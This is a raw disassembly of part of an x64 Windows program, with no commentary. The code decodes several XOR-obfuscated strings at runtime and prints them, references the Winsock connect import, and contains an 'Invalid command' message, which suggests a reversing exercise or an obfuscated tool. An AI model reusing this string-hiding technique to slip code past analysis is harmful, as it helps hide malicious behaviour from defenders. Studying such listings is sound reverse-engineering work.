lea rdx, [rsp + 0x60]
cmp rax, rdx
jb 0x140002544
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x70]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x74]
mov word [rcx + 0x14], ax
jmp 0x140002557
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x70]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x74]
mov word [rcx + 0x14], ax
lea rcx, [0x140009a90]
call fcn.140007e04
nop
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003c30
mov rcx, r11
call fcn.140001010
call fcn.140002b50
mov r11, rax
mov rcx, rax
call fcn.140003ab0
mov rcx, r11
call fcn.140001010
call fcn.140002c50
mov r11, rax
mov rcx, rax
call fcn.140003930
mov rcx, r11
call fcn.140001010
call fcn.140002d60
mov r11, rax
mov rcx, rax
call fcn.1400037a0
mov rcx, r11
call fcn.140001010
mov ecx, 0x404
mov eax, dword [rcx + rdi]
mov esi, 0x1d0
test al, 1
jne 0x140002602
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rdi + rsi + 0xa], 0x1eb0545
mov dword [rdi + rsi], 0x5c755547
mov dword [rdi + rsi + 4], 0x6d73c09f
mov word [rdi + rsi + 8], 0x512
lea rcx, [0x1400099d0]
call fcn.140007e04
nop
lea r9, [rdi + rsi]
cmp byte [r9 + 0xd], 0
je 0x140002702
mov r8, rbx
cmp r12d, 5
jl 0x1400026d6
movdqa xmm2, xmmword [0x14000b7c0]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000b6a0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000b6c0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0x1901a1eb0f7f7567
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 0xd
jb 0x1400026e0
mov byte [r9 + 0xd], 0
mov rcx, r9
call fcn.140001010
movdqa xmm0, xmmword [0x14000bb10]
movdqa xmm1, xmmword [0x14000baa0]
mov dword [rbp - 0x38], 0x25e428c2
mov dword [rbp - 0x34], 0xae15e89a
mov dword [rbp - 0x30], 0x60e32ec7
mov word [rbp - 0x2c], 0x81bb
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x40c
mov eax, dword [rcx + rdi]
mov esi, 0x5b0
test al, 1
jne 0x1400027cb
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x2f], 1
lea rax, [rcx + 0x2e]
lea rdx, [rbp - 0x2a]
cmp rcx, rdx
ja 0x14000279b
lea rdx, [rbp - 0x58]
cmp rax, rdx
jb 0x14000279b
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp - 0x38]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 0x28], eax
movzx eax, word [rbp - 0x2c]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0x7d
jmp 0x1400027be
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp - 0x38]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 0x28], eax
movzx eax, word [rbp - 0x2c]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0x7d
lea rcx, [0x1400099a0]
call fcn.140007e04
nop
lea r11, [rsi + rdi]
mov rcx, r11
call fcn.140003620
mov rcx, r11
call fcn.140001010
call fcn.140002e50
mov r11, rax
mov rcx, rax
call fcn.1400034a0
mov rcx, r11
call fcn.140001010
call fcn.140002f20
mov r11, rax
mov rcx, rax
call fcn.140003320
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000b9e0]
mov ecx, 0x33c
mov eax, dword [rcx + rdi]
mov esi, 0x3f0
test al, 1
jne 0x14000286f
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xd8]
cmp rax, rdx
ja 0x14000285b
lea rdx, [rbp + 0xc8]
cmp rcx, rdx
jb 0x14000285b
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0xab
jmp 0x140002862
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0xab
lea rcx, [0x140009920]
call fcn.140007e04
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.1400031a0
mov rcx, r11
call fcn.140001010
movdqa xmm0, xmmword [0x14000b780]
movdqa xmm1, xmmword [0x14000b740]
movdqa xmm2, xmmword [0x14000b790]
mov dword [rbp + 0xc0], 0xe9f59646
mov ecx, 0x4dc
mov eax, dword [rcx + rdi]
mov esi, 0x3b0
test al, 1
jne 0x140002923
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x34], 1
lea rax, [rcx + 0x33]
lea rdx, [rbp + 0xc3]
cmp rcx, rdx
ja 0x140002902
lea rdx, [rbp + 0x90]
cmp rax, rdx
jb 0x140002902
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov eax, dword [rbp + 0xc0]
mov dword [rcx + 0x30], eax
jmp 0x140002916
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
mov eax, dword [rbp + 0xc0]
mov dword [rcx + 0x30], eax
lea rcx, [0x1400098f0]
call fcn.140007e04
nop
lea r11, [rdi + rsi]
mov rcx, r11
call fcn.140003020
mov rcx, r11
call fcn.140001010
mov ecx, 0x574
mov eax, dword [rcx + rdi]
mov esi, 0x578
test al, 1
jne 0x14000296d
or eax, 1
mov dword [rcx + rdi], eax
mov word [rdi + rsi + 3], 0x16f
mov word [rdi + rsi], 0x2f9b
mov byte [rdi + rsi + 2], 0x27
lea rcx, [0x1400098d0]
call fcn.140007e04
nop
lea r8, [rdi + rsi]
cmp byte [r8 + 4], 0
je 0x140002a21
cmp r12d, 5
jl 0x1400029ef
movdqa xmm2, xmmword [0x14000b6d0]
movdqa xmm3, xmmword [0x14000bab0]
nop dword [rax]
nop word [rax + rax]
movq xmm0, rbx
punpcklqdq xmm0, xmm0
paddq xmm0, xmm7
andps xmm0, xmm2
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm6
movzx eax, word [r8 + rbx]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r8 + rbx], ax
add rbx, 2
cmp rbx, 4
jb 0x1400029a0
mov byte [r8 + 4], 0
mov rcx, r8
call fcn.140001010
xor eax, eax
jmp 0x140002a3e
movabs r9, 0x9f97fbe36f2d0fbb
nop dword [rax]
movzx ecx, bl
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rbx], dl
inc rbx
cmp rbx, 4
jb 0x140002a00
mov byte [r8 + 4], 0
mov rcx, r8
call fcn.140001010
xor eax, eax
jmp 0x140002a3e
lea rcx, str.Invalid_command_try____n
call fcn.140001010
mov eax, 1
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret